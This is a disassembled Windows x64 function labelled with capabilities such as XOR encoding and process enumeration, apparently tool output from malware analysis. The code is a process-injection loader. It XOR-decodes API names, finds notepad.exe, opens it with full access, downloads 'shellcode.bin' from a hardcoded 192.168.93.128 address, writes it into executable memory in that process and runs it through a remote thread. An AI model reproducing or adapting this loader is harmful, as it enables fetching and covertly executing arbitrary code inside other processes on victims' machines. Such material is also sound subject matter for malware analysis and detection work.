Function at 0x140001360
Capabilities:
Encode data using xor
Enumerate processes
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x330
mov rax, qword [0x140022180]
xor rax, rsp
mov qword [rsp + 0x320], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsx r9d, byte [0x140022018]
xorps xmm0, xmm0
mov rsi, rax
xor eax, eax
xor ebx, ebx
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x70], xmm0
mov ecx, ebx
mov qword [rsp + 0x60], rax
movd xmm2, r9d
lea rax, str._b9._.e9__.88_nK
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
movups xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0xb0], xmm0
mov dword [rsp + 0xac], 1
pshufd xmm2, xmm2, 0
movups xmmword [rsp + 0x80], xmm0
mov word [rsp + 0xb0], bx
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x50], xmm0
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
lea rax, [rax + 0x10]
add ecx, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
cmp ecx, 0x10
jb 0x140001420
mov eax, ebx
lea rcx, [0x1400220b8]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x10]
lea rcx, [rcx + 0x20]
add eax, 0x20
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x20]
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x20], xmm1
cmp eax, 0x20
jb 0x140001450
movsxd rdx, eax
lea rdi, [0x1400220a8]
cmp rdx, 0x21
jae 0x1400014a0
lea r8, [rdx + rdi]
xor byte [r8], r9b
lea r8, [r8 + 1]
inc eax
cmp eax, 0x21
jb 0x140001492
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str._b9._.e9__.88_nK
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [0x140023e98], rax
mov qword [rsp + 0x48], rdx
mov rcx, rdi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x40], rdx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x238
mov rcx, rax
mov rdi, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001573
nop dword [rax]
movzx ecx, byte [str.notepad.exe]
cmp cl, byte [rsp + 0x10c]
jne 0x140001550
movzx eax, byte [0x1400175f9]
cmp al, byte [rsp + 0x10d]
je 0x140001566
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001530
jmp 0x140001573
mov eax, dword [rsp + 0xe8]
mov dword [0x140023e44], eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx r8d, byte [0x140022018]
lea rax, [0x140022030]
mov ecx, ebx
nop dword [rax]
xor byte [rax], r8b
lea rax, [rax + 1]
inc ecx
cmp ecx, 0xd
jb 0x140001590
lea rdx, [0x140022030]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [0x140023e44]
xor edx, edx
mov ecx, 0x1fffff
mov qword [0x140023e90], rax
call rax
mov qword [0x140023e38], rax
test rax, rax
jne 0x1400015f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [0x140022008]
lea rcx, str._s_Get_handle_failed__error:__ld_n
mov r8d, eax
call fcn.140001990
mov eax, 1
jmp 0x14000195c
mov rdx, qword [section..data]
lea rcx, str._s_Got_handle_to_process:_0x_p_n
mov r8, rax
call fcn.140001990
mov rcx, qword [str.http:__192.168.93.128_shellcode.bin]
lea r8, [0x140022c68]
lea rdx, [0x140022c60]
call fcn.140001010
movsx eax, byte [0x140022018]
mov ecx, ebx
mov rdi, qword [0x140022c60]
movd xmm2, eax
lea rax, [0x140022040]
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop
movdqu xmm0, xmmword [rax]
lea rax, [rax + 0x10]
add ecx, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
cmp ecx, 0x10
jb 0x140001650
lea rdx, [0x140022040]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [0x140022c68]
mov r9d, 0x1000
mov rcx, qword [0x140023e38]
xor edx, edx
mov qword [0x140023e88], rax
mov dword [rsp + 0x20], 0x20
call rax
mov r8, qword [0x140022c68]
lea rcx, str._s_Written__zu_bytes_with_PAGE_EXECUTE_READ_permissions_for_shellcode_n
mov rdx, qword [0x140022010]
mov qword [0x140023e28], rax
call fcn.140001990
movsx r9d, byte [0x140022018]
lea rdx, [0x140022050]
mov eax, ebx
mov rcx, rdx
movd xmm2, r9d
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
lea rcx, [rcx + 0x10]
add eax, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
cmp eax, 0x10
jb 0x1400016f0
movsxd rcx, eax
cmp rcx, 0x14
jae 0x14000172e
add rcx, rdx
nop dword [rax + rax]
xor byte [rcx], r9b
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x14
jb 0x140001720
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, qword [0x140022c68]
mov r8, rdi
mov rdx, qword [0x140023e28]
mov rcx, qword [0x140023e38]
mov qword [0x140023e80], rax
mov qword [rsp + 0x20], rbx
call rax
mov rdx, qword [0x140022010]
lea rcx, str._s_Wrote_shellcode_to_allocated_memory_n
call fcn.140001990
movsx r8d, byte [0x140022018]
lea rdx, str._b9._.
mov eax, ebx
mov rcx, rdx
movd xmm2, r8d
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
lea rcx, [rcx + 0x10]
add eax, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
cmp eax, 0x10
jb 0x1400017a0
movsxd rcx, eax
cmp rcx, 0x16
jae 0x1400017de
add rcx, rdx
nop dword [rax + rax]
xor byte [rcx], r8b
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x16
jb 0x1400017d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, qword [0x140023e28]
lea rcx, [0x140023e40]
mov qword [rsp + 0x38], rcx
xor r8d, r8d
mov rcx, qword [0x140023e38]
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov qword [0x140023e78], rax
call rax
mov qword [0x140023e30], rax
test rax, rax
jne 0x14000184f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [0x140022008]
lea rcx, str._s_Create_thread_failed__error:__ld_n
mov r8d, eax
call fcn.140001990
mov eax, 1
jmp 0x14000195c
mov rdx, qword [section..data]
lea rcx, str._s_Create_thread_for_execution:_0x_p_n
mov r8, rax
call fcn.140001990
mov rdx, qword [0x140022010]
lea rcx, str._s_Waiting_..._n
call fcn.140001990
movsx r8d, byte [0x140022018]
lea rdx, [0x140022080]
mov eax, ebx
mov rcx, rdx
movd xmm2, r8d
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop
movdqu xmm0, xmmword [rcx]
lea rcx, [rcx + 0x10]
add eax, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
cmp eax, 0x10
jb 0x1400018a0
movsxd rcx, eax
cmp rcx, 0x15
jae 0x1400018de
add rcx, rdx
nop dword [rax + rax]
xor byte [rcx], r8b
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x15
jb 0x1400018d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140023e30]
mov edx, 0xffffffff
mov qword [0x140023e70], rax
call rax
mov rdx, qword [0x140022010]
lea rcx, str._s_Finished._Exiting_...
call fcn.140001990
movzx ecx, byte [0x140022018]
lea rax, str._b_8.
nop dword [rax]
xor byte [rax], cl
lea rax, [rax + 1]
inc ebx
cmp ebx, 0xd
jb 0x140001920
lea rdx, str._b_8.
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140023e38]
mov qword [0x140023e68], rax
call rax
mov rcx, qword [0x140023e30]
call qword [0x140023e68]
xor eax, eax
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.140001a90
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret